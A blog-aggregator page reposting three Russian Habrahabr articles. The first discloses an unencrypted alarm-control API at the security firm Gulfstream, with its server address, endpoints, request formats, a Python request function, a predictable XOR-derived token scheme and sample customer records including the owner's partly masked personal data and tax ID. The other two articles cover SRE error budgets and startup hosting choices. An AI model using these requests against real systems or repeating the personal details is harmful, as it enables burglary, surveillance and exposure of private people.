                      Исходя из информации, представленной на официальном сайте компании, группа компаний ГОЛЬФСТРИМ работает на рынке охраны без малого 23 года. Реклама с официального сайта гласит, что 23 года работы ГОЛЬФСТРИМ это (цитируем): «решения проверенные временем, 75 тысяч клиентов, качество на каждом этапе, квалификация персонала...».


                      Беглый поиск по базе сведений о государственной регистрации юридических лиц даёт следующее:


                      • ОБЩЕСТВО С ОГРАНИЧЕННОЙ ОТВЕТСТВЕННОСТЬЮ ЧАСТНАЯ ОХРАННАЯ ОРГАНИЗАЦИЯ "ГОЛЬФСТРИМ СЛУЖБА ОХРАНЫ"
                        ОГРН/ИНН 1107746777380/7715829624
                        Дата регистрации 23.09.2010
                        Уставный капитал 250000р
                        Генеральный директор ИВАНОВ АЛЕКСЕЙ ВЛАДИМИРОВИЧ (ИНН 504008784580)
                        Учредители ПИСЬМАН ВЕНИАМИН ФОНЕВИЧ (доля 100%)
                      • ОБЩЕСТВО С ОГРАНИЧЕННОЙ ОТВЕТСТВЕННОСТЬЮ ЧАСТНАЯ ОХРАННАЯ ОРГАНИЗАЦИЯ "ГОЛЬФСТРИМ ОХРАННЫЕ СИСТЕМЫ"
                        ОГРН/ИНН 1097746799875/7715787653
                        Дата регистрации 14.12.2009
                        Уставный капитал 250000р
                        Генеральный директор САМОДУМСКИЙ СТАНИСЛАВ АЛЕКСАНДРОВИЧ
                        Учредители ПИСЬМАН ВЕНИАМИН ФОНЕВИЧ (доля 99%), САМОДУМСКИЙ СТАНИСЛАВ АЛЕКСАНДРОВИЧ (доля 1%)

                      Итак, открытые источники подсказывают, что владельцем (и предстедателем совета директоров) компании "ГОЛЬФСТРИМ" является некто Письман Вениамин Фоневич (ИНН 771805121540):



                      Пользуясь возможностью, передаём пламенный привет Вениамину Фоневичу и просим обратить внимание на действия или бездействия сотрудников его компании которые, будучи информированными задолго до выхода в свет данного материала не предприняли решительно никаких попыток отреагировать.



                      Переходя непосредственно к технической части нашего повествования, стоит ещё раз особо отметить, что компания "Expocod" располагает достоверной информацией о наличии уязвимости. Однако, ввиду того что данная уязвимость была обнаружена независимым исследователем безопасности, мы располагаем лишь частичными подробностями и не располагаем данными, которые могли были получены с использованием данной уязвимости. По договорённости с автором и с его разрешения мы публикуем технические подробности без указания важных деталей, знание которых необходимо для успешной эксплуатации.


                      Описание уязвимости


                      Уязвимость существует в протоколе взаимодействия мобильного приложения (МП) с центром управления (ЦУ). На момент публикации, исследованным является протокол обмена между приложением для iOS (последняя версия приложения от 29/06/2017). Протокол представляет собой REST-подобный интерфейс, построенный поверх HTTP. Запросы к ЦУ имеют следующий формат:


                      POST http://195.19.222.170/GulfstreamWebServices/rest/[method] HTTP/1.1
                      Accept: */*,
                      Accept-Encoding: gzip, deflate
                      Accept-Language: en-us
                      Connection: keep-alive
                      Content-Type: application/json
                      Proxy-Connection: keep-alive
                      User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
                      
                      { userID: [userID], userToken: [userToken] }

                      Первое, что бросается в глаза — отсутствие какого-либо шифрования данных. То есть обмен критичной информацией между МП и ЦУ осуществляется по открытому каналу связи без какой-либо защиты от пассивного прослушивания! Не используется также и технология certificate pinning, которая могла бы способствовать защите от MiTM атак на канал управления. В нашем случае протокол легко анализируется с помощью приложения mitmproxy, использовать который может даже школьник (а ведь приложение управления сигнализацией создано для серьезных вещей).


                      Следующий шаг следует вероятно начать с описания таких параметров как userID и userToken. Очевидно, что userID представляет собой идентификатор пользователя мобильного приложения, тогда как userToken — токен, позволяющий данному пользователю получить доступ к функциям системы. Рассмотрим подробнее функцию регистрации пользователя в системе:


                      POST http://195.19.222.170/GulfstreamWebServices/rest/profile/register HTTP/1.1
                      Accept: */*,
                      Accept-Encoding: gzip, deflate
                      Accept-Language: en-us
                      Connection: keep-alive
                      Content-Type: application/json
                      Proxy-Connection: keep-alive
                      User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
                      
                      { contractNumber: [contractNumber], deviceToken: [deviceToken], deviceType: 1 }

                      Данная функция осуществляет регистрацию МП в системе. Параметрами регистрации являются номер договора и уникальный идентификатор устройства. Ниже представлены ответы системы на попытки регистрации нового устройства для одного и того же договора с разными значениями deviceToken:


                      deviceToken = E3cDC2DdCdf75afc5865DBE2Ead3a4BB2fdB2CabBD441ADDaaa81ea8Dfd9C9ae
                      Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":71671,"userToken":"dkJCRVg=","contractNumber":"495020xxxx","phone":"7******7007"}}
                      
                      deviceToken = 7e3280581591Af0e5eaabadbE5b33B0Af84e20CBBd16226a22f5C3570A02B341
                      Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72033,"userToken":"dkFEQVo=","contractNumber":"495020xxxx","phone":"7******7007"}}
                      
                      deviceToken = aEd42FB8CBf8Af3E9Ec6Af8cad0C4deF2eaeF200EaBFf4DDFeeDFF4106CC703A
                      Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72072,"userToken":"dkFERVs=","contractNumber":"495020xxxx","phone":"7******7007"}}

                      Как видно, ответом на запрос является JSON-структура, содержащая в том числе поля userID и userToken. Кроме того, в ответе есть частично скрытый номер телефона владельца контракта. Также можно видеть, что в данный момент в системе около 72 тысяч пользователей (или попыток регистрации МП, т.к. каждая попытка с новым deviceToken выдаёт новый "уникальный" userID).


                      Однако самым удивительным открытием является следующее: номера userID выдаются последовательно, а в структуре токена userToken прослеживается некая закономерность… Можно предположить, что userToken каким-то образом зависит от userID, то есть userToken = f(userID). Но что это за функция?


                      Мы не располагаем информацией каким именно образом исследователю безопасности, который связался с нами и передал данную инфомацию, удалось установить точную функцию, но по его словам этой функцией оказался… обычный XOR!


                      Таким образом, зная диапазон значений userID (0..72k) и функцию, по которой вычислять userToken, можно получить доступ, например, к следующим REST API системы:


                      GulfstreamWebServices/rest/profile/updateUserDeviceToken
                      GulfstreamWebServices/rest/profile/getCustomerDetails
                      GulfstreamWebServices/rest/profile/getCustomerProfileImage
                      GulfstreamWebServices/rest/panel/getEstimateArmState
                      GulfstreamWebServices/rest/panel/setArmState
                      GulfstreamWebServices/rest/panel/getEventHistory
                      GulfstreamWebServices/rest/panel/getNotifications
                      GulfstreamWebServices/rest/panel/getAvailableNotificationExtendedList
                      GulfstreamWebServices/rest/panel/getNotificationState
                      GulfstreamWebServices/rest/panel/getRemoteTags
                      GulfstreamWebServices/rest/panel/updateRemoteTagState
                      GulfstreamWebServices/rest/panel/getVideo
                      GulfstreamWebServices/rest/panel/getAllVideos
                      GulfstreamWebServices/rest/panel/getPanelCameraList

                      Представленный список отнюдь не является полным. В совокупности с возможностью перебора идентификации пользователей можно получить полную базу данных объектов охраны. Так, например, ниже представлена python-функция, запрашивающая информацию о пользователе:


                      def gs_api_get_customer_details(u, t):
                          r = s.post(
                               'http://195.19.222.170/GulfstreamWebServices/rest/profile/getCustomerDetails',
                               headers = {
                                   'Accept': '*/*',
                                   'Accept-Encoding': 'gzip, '
                                   'deflate',
                                   'Accept-Language': 'en-us',
                                   'Connection': 'keep-alive',
                                   'Content-Type': 'application/json',
                                   'Proxy-Connection': 'keep-alive',
                                   'User-Agent': 'SecurityApp/190 '
                                   'CFNetwork/811.5.4 '
                                   'Darwin/16.7.0' },
                               json = {
                                   'userID': u,
                                   'userToken': t
                               }
                      )
                      return r.json()

                      Проверим, что можно получить используя API profile/getCustomerDetails для пользователя с userID = 296:


                      {'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '71/*****', 'fullName': 'Письман Вениамин Фоневич', 'address': 'обл. Московская, р-н Одинцовский, д. Ж******, тер Ж******-21, уч. *****', 'accountStatus': 1001, 'paidTill': '2017-12-31 00:00', 'debt': '-9560.00', 'hardwareType': 2002, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '*****58', 'activationCode': '', 'intercomCode': '', 'email': 'v*****n@gulfstream.ru', 'telephone': '7910*****38', 'homeTelephone': '+7 (495) *****-82', 'workTelephone': '', 'monthlyFee': '2390.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=71/*****&debt=0', 'userID': 296, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': None, 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': False, 'isRemoteTagsSupported': False, 'longitude': *****, 'latitude': *****, 'timeZone': 'Europe/Moscow', 'balance': 9560.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': False, 'isTemperatureReadingSupported': False, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}

                      Как видно, адрес объекта (скрыт намеренно) принажделжит НП "Жуковка-21", соучредителем которого, по информации из открытых источников, является сам
                      уважаемый Вениамин Фоневич:



                      Итак, некто с userID = 296 является до невозможности похожим на учредителя компании "ГОЛЬФСТРИМ". Информация, полученная ранее из публичных источников подтверждает подлинность этих данных.


                      Другим интересным методом API является panel/getVideo. С его помощью можно получить видео с камер, установленных на объекте в случае, если сигнализация оборудована соответствующим оборудованием. Для примера посмотрим видео пользователя с userID = 70072:


                      {'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '******', 'fullName': 'Тетовый Сахарный Андрей Инженерович', 'address': 'г. Москва, ул. Бутырская, д. 62', 'accountStatus': 1001, 'paidTill': '2016-04-26 00:00', 'debt': '0.00', 'hardwareType': 2004, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '00146737', 'activationCode': '', 'intercomCode': '', 'email': 'csm_tech@gulfstream.ru', 'telephone': '7926322****', 'homeTelephone': '7495980****', 'workTelephone': '', 'monthlyFee': '690.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=*****&debt=0', 'userID': 70072, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': 'Мой дом', 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': True, 'isRemoteTagsSupported': True, 'longitude': 37.583751, 'latitude': 55.803008, 'timeZone': 'Europe/Moscow', 'balance': 0.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': True, 'isTemperatureReadingSupported': True, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}



                      Вероятно, данный объект представляет собой офис компании "ГОЛЬФСТРИМ".


                      Ещё одной интересной функцией является функция запроса информации о бесконтактных ключах: panel/getRemoteTags. С оборудованных бесконтактными ключами объектов можно получить информацию не только о серийных номерах ключей (что даст возможность сделать дубликат ключа), но также и отключить те или иные ключи, а также заменить их серийные номера. Следующая картинка демонстрирует использование mitmproxy и отображает серийники ключей для тестового стенда, расположенного в офисе компании (всё тот же userID = 70072, Паше и Коле — привет):



                      Ну и в завершении отметим, что помимо запроса информации с объектов данный протокол позволяет управлять состоянием сигнализации. Используя panel/setArmState можно включить и выключить сигнализацию на любом из 70 тысяч объектов не вставая с дивана. Занавес.


                      Основные выводы


                      Подводя итог нашему сумбурному изложению отметим, что в системе управления сигнализацией, разработанной компанией "ГОЛЬФСТРИМ", существуют ошибки, позволяющие как минимум:


                      • получать информацию о пользователях системы и объектах, где установлена данная сигнализация
                      • удалённо управлять сигнализацией — включать и отключать
                      • удалённо управлять бесконтактными ключами, включая возомжность добавления своих ключей или отключения существующий
                      • удалённо получать доступ к информации с камер наблюдения

                      Мы честно пытались довести данную информацию до представителей компании ГОЛЬФСТРИМ, а также до её руководства в течение без малого 2-х месяцев с момента получения нами данной информации. До настоящего времени данная ошибка НЕ исправлена. Можно только предположить, кто, как и в каких целях мог её использовать...


                      Резонно возникает вопрос — если учредитель компании доверяет охрану свого дома ГОЛЬФСТРИМу, то может ли это являться примером для подражания обычным гражданам, желающим "иметь право на безопасность"?


                      Наш ответ — НЕТ!


                      Также занимательно, что в числе объектов охраны ГОЛЬФСТРИМа есть объекты ФСО и УДП, расположенные на Рублево-Успенском шоссе, а также важные коммунальные госкомпании...


                      Интересно будет ли доволен директор ФСО Кочнев Д.В., узнав что на ряд ведомственных объектов можно пробраться кликнув мышкой? Впрочем добраться ему до господина Письмана и призвать к ответу за халатность, живущего судя по записям (ведь он же патриот собственной системы) рядышком в Жуковке, легко и просто – буквально рукой подать, а еще лучше прислать черный воронок.


                      P.S. Отдельно стоит отметить стиль общения СБ Гольфстрима и его сотрудников — то самое слово на г. в заголовке, которое первое приходит на ум после разговора (запись имеется).

                      Original source: habrahabr.ru (comments, light).

                      https://habrahabr.ru/post/338752/


                      Метки:  

                      Как решить извечный конфликт между разработкой и эксплуатацией?

                      Вторник, 26 Сентября 2017 г. 15:48 + в цитатник
                      TS_Cloud сегодня в 15:48 Управление

                      Как решить извечный конфликт между разработкой и эксплуатацией?


                        Источник


                        В далёком 2002 году одна из самых заметных тогдашних ИТ-компаний пригласила консультантов, чтобы решить страшную проблему: служба эксплуатации не хочет использовать новые версии систем, выпущенные разработчиками. Эксплуатация и разработка регулярно вместо работы ходят на уровень вице-президентов компании и в присутствии высокого начальства пытаются друг друга переспорить.


                        Если проблема вам знакома и интересна, далее в статье приведён практический способ её решения, опробованный в одной из лучших мировых компаний, с теоретическим обоснованием, примерами расчётов и рекомендациями по автоматизации.


                        Конфликт


                        Не бывает конфликтов между администратором ПО и производителем этого ПО, если производитель это гигантская международная мега-корпорация, а администратор работает в компании, которая это ПО купила и использует. Каждый занимается своим делом: производитель выпускает новые версии, администратор следит, чтобы «всё работало». Решение, какую версию эксплуатировать, принимает администратор. Некоторые проверяют новые версии. Некоторые новые версии не используют вообще. Когда средства доставки обновлений были развиты слабее, чем теперь, был известен принцип не использовать новую версию ОС, пока к ней не выйдет второй сервис-пак. Администраторы прекрасно знают принцип, положенный в основу процесса управления изменениями: «Любое изменение опасно». Производителю же всё равно, используют новую версию ПО или старую, лишь бы деньги за поддержку платили.


                        Всё меняется, если администратор и производитель ПО оказываются сотрудниками одной компании. Теперь стремление администратора к стабильности и стремление производителя выполнять планы реализации пожеланий пользователей — это стремления в противоположные стороны. Бывает, что в КПЭ администратора записана стабильность, а в КПЭ разработчика — количество новых функций. Тогда каждый час простоя из-за (или для?) внедрения новых функций это потеря премии администратором, а каждый отказ от установки новой версии ради сохранения стабильности это потеря премии разработчиком.


                        Источник


                        Поскольку проблема не новая, и разработчики, и эксплуатация сформулировали подходы к её решению.


                        В нынешней версии ITIL в томе Service Operation этому конфликту посвящен раздел 3.2.2, Stability versus responsiveness («Стабильность против отзывчивости»). Авторы ITIL пишут, что организации обычно не могут найти баланса между стабильностью и отзывчивостью и склоняются к одной из крайностей, принося второе в жертву. Там же даются рекомендации, как этой стабильности достичь:


                        1. Использовать более гибкие технологии, например, виртуальные серверы вместо железных.


                        2. Создать влиятельный процесс управления уровнем сервисов, который был бы вовлечён во все фазы жизненного цикла сервисов, от проектирования до непрерывного улучшения.


                        3. Усилить взаимодействие процесса управления уровнем сервисов с другими процессами фазы дизайна: управлением доступностью, мощностью, непрерывностью.


                        4. Построить процесс управления изменениями так, чтобы он начинался на более ранних фазах жизненного цикла сервиса.


                        5. Добиться вовлечения ИТ-подразделения в процесс управления изменениями бизнеса.


                        6. На фазе проектирования сервисов использовать информацию от процессов фазы эксплуатации.


                        7. Документировать договорённости между ИТ бизнесом, не допускать неформальных соглашений.

                        ITIL написан для администраторов, а для разработчиков ПО создан DevOps, который даёт следующие рекомендации по решению того же самого конфликта:


                        1. Унифицировать и заставить сильно взаимодействовать процессы разработки и эксплуатации ПО.


                        2. Автоматически выполнять (роботизировать?) операции интеграции, тестирования, выпуска и развёртывания новых версий ПО.


                        3. Встраивать в разрабатываемое ПО средства мониторинга.

                        Оба источника дают дельные советы, которые не только не противоречат, но порой идеально друг друга дополняют, как последний пункт из второго списка и шестой пункт из первого. Однако, советам недостаёт конкретности. Например, про DevOps непонятно, что этот термин значит и какой смысл за ним стоит: «С момента появления в 2008 году значение термина DevOps так и не устоялось. Поэтому, чтобы ни с кем не спорить, мы называем наш подход к управлению сервисами Site Reliability Engineering (SRE). Принципы SRE не противоречат DevOps.» Так пишут в выпущенной в 2016 году книге сотрудники одной крупной компании, известной своим сервисом поиска в интернете, а теперь ещё и беспилотными автомобилями.


                        Заметим, что в книге про SRE один за другим рассматриваются, в ключе «а вот как это сделано у нас», процессы из ITIL: управление инцидентами, проблемами, изменениями, уровнем сервисов и др., хотя сама библиотека не упомянута ни разу за все 550 страниц («Сервис» на первых 10 страницах книги упомянут 50 раз, а «менеджмент» — 20).


                        Что такое «4 девятки» доступности


                        На минуту отвлечёмся, так как практика показывает, что и представители бизнеса, и представители ИТ с трудом понимают, что такое «доступность %». Обычно понимание упрощается, если от процентов перейти к часам и минутам. Вот как выглядят цифры для некоторых требуемых уровней доступности для режима работы сервиса 9x5. Расчётный период — 1 месяц, в нём 189 рабочих часов.


                        Требуемая доступность Сервис обязан работать Сервис может простаивать
                        90,00 % 170 ч 06 мин 18 ч 54 мин
                        95,00 % 179 ч 33 мин 9 ч 27 мин
                        99,99 % 188 ч 48 мин 11 мин

                        Бюджет простоев


                        Одна из простейших, мощнейших и действенных идей SRE — «бюджет простоев». Исходя из требований заказчика к доступности сервиса, вычисляется допустимое время простоя системы за период, «бюджет простоев». Из этого бюджета берётся время и на устранение инцидентов, и на проведение изменений. В том числе на проведение изменений по внедрению новых функций. Если система работает стабильно, то на проведение изменений и, если потребуется, на устранение последствий этих изменений время есть. Если система работает нестабильно, то бюджет простоев «съедают» инциденты, и времени на проведение изменений в отчётном периоде остаётся мало или не остаётся совсем.


                        Никто (кроме системы мониторинга) не заметит разницу между доступностью ровно 100 % и доступностью почти 100 %, да и чем ближе доступность сервиса к 100 %, тем он сложнее и дороже. Поэтому можно рассчитывать, что требования заказчика к доступности всегда будут ниже, чем ровно 100 %, а значит, и бюджет простоев будет всегда.


                        Бюджет простоев автоматически регулирует выпуск новых релизов: пока он не исчерпан, релизы возможны. Для организаций, работающих в режиме push on green (если релиз прошёл все тесты, он выпускается в производственную среду автоматически), процесс может автоматизирован полностью.


                        Быстрое исчерпание бюджета простоев подсказывает ИТ-руководителям, что нужно больше ресурсов направить на тестирование или проектирование сервиса.


                        Бюджет простоев ставит для разработки и эксплуатации единые цели и единые КПЭ, решая таким образом конфликт, о котором написана эта статья.


                        Примеры


                        При жёстких требованиях к доступности времени на установку новых версий и на борьбу с последствиями почти нет. Например, если установлен режим


                        24x7, доступность 99,99 % в месяц


                        то бюджет простоев составляет 43 минуты 12 секунд в месяц. Скорее всего, в течение месяца получится установить только одну-две новые версии программы. Любой инцидент, даже решаемый без раздумий, перезагрузкой, моментально «съест» примерно 20 % бюджета, поэтому, если от сервиса требуется высокий уровень доступности, то ИТ-служба обязана обеспечить высокий уровень тестирования.


                        Ситуация упрощается, если SLA допускает регламентный простой, то есть если какое-то количество часов зарезервировано именно для установок патчей и новых версий, и простой сервиса в это время не влияет на расчёт доступности. Время проведения регламентного простоя заранее определено, и любые остановки сервиса за его пределами рассматриваются, как инциденты. Крайний случай регламентного простоя это режим 9x5, когда работа сервиса не требуется, скажем, с 18:00 до 9:00 следующего дня, и у ИТ-службы есть 15 часов в сутки на установку новых версий.


                        Что происходит с бюджетом доступности, если ночью сервис не работает? Из-за того, что количество часов работы сервиса сокращается с 720 часов в месяц при круглосуточном режиме работы до 189 часов при режиме 9x5, бюджет простоев заметно сокращается. На установку новых версий теперь есть целая ночь, но сколько есть времени на борьбу с проблемами, которые новая версия может принести? Для режима


                        9x5, доступность 99,99 % в месяц


                        бюджет простоев сокращается до 11 минут 20 секунд. Это, по-большому счёту, один инцидент в месяц.


                        Снижение требований к доступности увеличивает бюджет простоев, давая ИТ-службе больше времени на проведение изменений и на устранение инцидентов. Так, при популярной в российских SLA требуемой доступности в 97,5 % бюджет простоев составит комфортные 18 часов в месяц для режима 24x7 и чуть меньше 5 часов в месяц для режима 9x5.


                        Каков бы ни был размер бюджета простоев, и разработчики, и эксплуатация должны понимать, что это их общий бюджет.


                        Реализации в информационной системе


                        Для реализации бюджета простоев нужны система мониторинга и ИТСМ-система. Рассмотрим, что предлагает ИТСМ-система ServiceNow в «коробочной» конфигурации для решения такой задачи. На сегодняшний день ServiceNow занимает лидирующие позиции в сфере ITSM-решений и именно его мы предлагаем своим клиентам в собственной облачной платформе Техносерв Cloud.


                        1.Зафиксируем согласованный с бизнесом требуемый уровень доступности сервиса.




                        2.Будем записывать перебои в работе сервиса (outages, периоды недоступности), как вызванные сбоями, так и запланированные остановки сервиса для установки новых версий и патчей. Конечно, лучше, если перебои-инциденты будет записывать интегрированная с ServiceNow система мониторинга.




                        3.Когда разработчики подготовят новый релиз к установке в производственную среду, посмотрите, сколько осталось времени в бюджете простоев. На картинке бюджет потрачен всего лишь на 20 %, ответственный за сервис в такой ситуации разрешит установку нового релиза.




                        Подведём итоги:


                        1. Бюджет простоев решает конфликт между эксплуатацией и разработкой.


                        2. Размер бюджета простоев, и следовательно, степень свободы ИТ-организации в проведении изменений, определяется в первую очередь требованиями к доступности сервиса, а регламентный простой на него не влияет.


                        3. Бюджет простоев легко реализовать в ИТСМ-системе ServiceNow даже в коробочной конфигурации.

                        Упомянутые в первом абзаце службы разработки и эксплуатации породили ещё один масштабный конфликт и с энтузиазмом в нём участвовали, но об этом — в одной из следующих статей.

                        Original source: habrahabr.ru (comments, light).

                        https://habrahabr.ru/post/338736/


                        Хостинг для стартапа: конструктор, облака или свое железо?

                        Вторник, 26 Сентября 2017 г. 15:06 + в цитатник
                        friifond сегодня в 15:06 Управление

                        Хостинг для стартапа: конструктор, облака или свое железо?



                          Какой хостинг выбрать? Этим вопросом рано или поздно задается любой стартап. Ответ в каждом случае придется искать самостоятельно — оценивать плюсы-минусы, прикидывать риски и считать бюджет. Максимально упростить этот процесс и систематизировать виды хостингов и их особенности нам помог выпускник ФРИИ и основатель проекта AdminDivision.ru Егор Андреев, который помогает стартапам Акселератора ФРИИ масштабировать свою IT-инфраструктуру.

                          Описание задачи всегда начинается одинаково: есть написанный код сайта, его нужно разместить на каком-то хостинге, чтобы клиенты получили доступ. Классический «дедовский» вариант — купить сервер, настроить его и разместить на нем сайт — плох уже тем, что за корректной работой «железа», операционной системы и софта придется следить самостоятельно. У основателей нового проекта на это нет ни времени, ни ресурсов. Поэтому стартапы активно пытаются использовать другие виды хостинга, чтобы сэкономить время и деньги, особенно на старте проекта. И здесь начинается самое интересное: поскольку все предложения разные, они отличаются по цене, объему услуг, степени ответственности хостинг-провайдера и другим параметрам. Как разобраться? Для начала принять общее правило: чем больше работ возьмет на себя провайдер, тем меньше головной боли достанется стартапу. Но нужно учитывать, что в дополнение стартап получает более высокий прайс и отсутствие возможности настраивать систему самостоятельно. Далее следуют нюансы, специфические для каждого вида хостинга.

                          1. Конструктор сайтов


                          Примеры: tilda, wix, lpgenerator.
                          Примерный чек: $10-$50 в месяц.



                          Это самый простой и заманчивый для стартапа вариант. Здесь поставщик услуги уже позаботился обо всем, вам даже не понадобится программист. Просто заходите, создаете свою страничку из шаблонов, нажимаете «сохранить» и все. Ваша страница видна миру — можно работать.

                          Такой формат идеален для посадочных страниц, сайтов-визиток, одностраничных сайтов с простейшей логикой (типа формы обратной связи или формы оплаты). Если ваш сайт должен быть многостраничным, иметь полноценную логику в виде каталога товаров и регистрации пользователей, а также другие дополнительные сервисы, то конструктор — не ваш оптимальный вариант. Лучше ищите другие виды хостинга.

                          2. Shared-хостинг


                          Еще его называют «Шаред» или просто «Хостинг».

                          Примеры: timeweb, masterhost, reg.ru.
                          Примерный чек: $2-$30 в месяц.



                          Самый дешевый вариант — разместить сайт на php. Shared-хостинг — это физически большой железный сервер, на котором созданы изолированные окружения для работы десятков и сотен клиентов хостинга. Вам выдается доступ к админке и логин/пароль для доступа к FTP. Вы выкладываете свой код — и он работает. При этом сотрудники хостинга (как правило, хмурые бородатые дяденьки) следят за тем, чтобы у вас не было проблем с «железом», операционной системой, базой данных, веб-сервером. Ваша зона ответственности — только код. Это значит, что вы не можете менять практически ничего в настройках сервера. Такой вариант отлично подойдет для сайтов на стандартных движках, блогов, небольших интернет-магазинов. Но есть два случая, при которых этот вид хостинга может принести проблемы.

                          1. Когда у сайта начинает расти показатель посещаемости. В этом случае либо все начинает «тормозить», либо хостер грозится перевести вас с тарифа за символические $2 на вполне ощутимые $50-100, а если не заплатите — отключить.

                          2. Когда вам нужен новый функционал. Например, поставить вот эту новую библиотеку обработки картинок или использовать вот ту хипстерскую базу данных. В варианте с shared-хостингом это сделать не получится. Вы пользуетесь тем, что для вас предусмотрели упомянутые выше бородатые дяденьки.

                          Если ваш сайт больше похож на «убийцу Убера», чем на «блог на Wordpress», есть две альтернативы: собирать свой сайт на облачных сервисах или смотреть в сторону полноценных виртуальных машин.

                          3. Облачные сервисы


                          Примеры: Amazon Web Services, Microsoft Azure, Google Cloud Platform.
                          Примерный чек: от $1 до бесконечности.



                          Здесь вы собираете свой веб-сервис из огромного набора кубиков и деталей, довольно приятных. Вот у нас веб-сервер, вот база данных, вот очередь сообщений, вот хранилище для фотографий котиков, вот machine learning по ним, вот push-оповещения на мобильные — и ваш новый уникальный вариант кошачьего Тиндера готов.

                          Если разобраться, как работают эти кубики, можно довольно быстро собирать рабочие продукты с минимумом программирования. Приятный бонус на старте: оплата обычно идет не по абонентке, а за фактически потребленное количество ресурсов. Например, по числу запросов к базе данных, объему файлов в хранилище, числу разосланных уведомлений и т.д. То есть оплата за хостинг начинается с нуля и растет пропорционально росту нагрузки. Это позволяет стартапу долгое время масштабировать свою IT-инфраструктуру, понемногу увеличивая сумму затрат на хостинг.

                          Минусы облачных сервисов гармонично вытекают из их плюсов.

                          1. Вы ограничены тем функционалом, который заложили разработчики сервисов. Конечно, довольно широкий функционал дает много возможностей, но (!) чуть-чуть поднастроить его под себя не получится. Работает правило: используем как есть или переписываем с нуля.

                          2. По мере роста потребления ресурсов стоимость облачного сервиса может стать неоправданно высокой. Да, этот вид хостинга позволяет начать с $10. Для прототипа продукта или запуска стартапа с первой парой клиентов — прекрасно. Но если проект взлетит, то появляется риск платить пропорционально $10 000 за пару тысяч своих клиентов. И здесь нужно хорошо просчитать экономику.

                          Но даже если затраты на хостинг были заранее рассчитаны, вам все равно может понадобиться съехать с облачных сервисов. Причины могут быть и локальные (технические ограничения), и общерыночные (изменения российского законодательства). Важно учитывать, что просто «взять и переехать» из «облака» не получится. Придется дорого и долго программировать. Это тоже вариант, и его нужно просчитать заранее, чтобы понимать стоимость риска.

                          Облачные сервисы отлично подойдут для быстрого создания прототипа, в качестве бэкенда мобильных приложений и других подобных сервисов. Проверять идеи для стартапа — тестировать гипотезы — с их помощью тоже очень удобно. Когда нужен чуть больший контроль над хостингом, можно использовать полноценные машины (виртуальные или физические).

                          4. Виртуальные машины


                          Они же VM (Virtual Machine), VPS (Virtual Private Server), VDS (Virtual Dedicated Server) или просто «Виртуалки».

                          Примеры: Digital Ocean, Selectel, Amazon EC2, Azure VM.
                          Примерный чек: $5-$100 в месяц.



                          У хостера стоят огромные железные сервера. Их ресурсы нарезаются на порции, которые выглядят как небольшие сервера со своей операционной системой, — именно это и сдается клиентам в аренду. Вы получаете машину с полным доступом и нужным количеством ресурсов (ядер процессора, оперативной памяти, места на дисках и т.д.).

                          Плюсы очевидны. Это полноценная машина, на которую можно устанавливать любой софт и настраивать его любым способом. Если с физическим сервером случится беда, хостер все починит сам, вы даже об этом, возможно, не узнаете. Кроме того, размер машины можно увеличивать по мере необходимости. Например, начать с варианта за $5, а потом взять нужный дополнительный объем, просто нажав кнопку «Расширить» и заплатив за него. А еще здесь можно запустить несколько машин и разделить между ними роли (веб-сервер — база данных) и нагрузку (веб-сервер 1, веб-сервер 2, веб-сервер 3).

                          Минусы тоже есть. Теперь настраивать под себя операционную систему и софт не только можно, но и необходимо. К тому же приходится следить за локальными процессами работы (хватает ли оперативной памяти, достаточно ли места на дисках, не упала ли база данных). И делать это нужно самостоятельно, постоянно и лучше профессионально.

                          Виртуальные машины подойдут большинству стартапов как на старте, так и во время бурного роста. Главное, чтобы в команде был хороший админ (или хотя бы была возможность привлечения такого специалиста). Всем стартапам стоит посоветовать сразу делить сайт на части и использовать несколько машин вместо одной большой. Это поможет расти в будущем. В момент, когда расходы на хостинг составят пару сотен долларов, можно будет задуматься о переходе на физические сервера. Именно задуматься, сесть и посчитать, прикинуть варианты, а не переезжать в «пожарном режиме», когда страдают клиенты и горят нервные клетки основателей.

                          5. Аренда выделенного сервера


                          Он же Dedicated Server, или просто «Дедик».

                          Примеры: Hetzner, Selectel, Servers.ru, Hostkey.
                          Примерный чек: $50-$500 в месяц.



                          Это аренда настоящего физического сервера. Можно выбрать любую конфигурацию «железа», любую операционную систему и получить мощнейшую машину. Либо поднять свою систему виртуализации и самостоятельно нарезать нужное число «виртуалок». Трюк в том, что аренда выделенного сервера обходится в среднем в 3-5 раз дешевле аренды «виртуалки» соответствующей мощности. Или, иными словами, за те же деньги можно получить в 3-5 раз больше ресурсов.

                          Но тут есть значительный минус — теперь под вашей ответственностью не только операционная система, но и само «железо». Если сгорит, скажем, один из жестких дисков, то хостер заменит его бесплатно по звонку. И если вы правильно настроили сервер и вовремя заметили, что диск сгорел, сайт даже не «упадет». Но если сгорит сам сервер целиком, ваш сайт не будет доступен, пока хостер не подготовит замену (это занимает от нескольких часов до нескольких дней). И есть вероятность, что сервис придется поднимать из резервной копии. Это тоже требует времени и может вообще не получиться, если вы к этому специально не готовились.

                          Чтобы избежать проблем, потребуется иметь хотя бы один дополнительный резервный сервер, а также иметь компетенции (сотрудника), как этот сервер заставить работать в случае краха основной машины. И то и другое стоит денег, и экономия при переходе на свое железо может быть уже не такой явной.

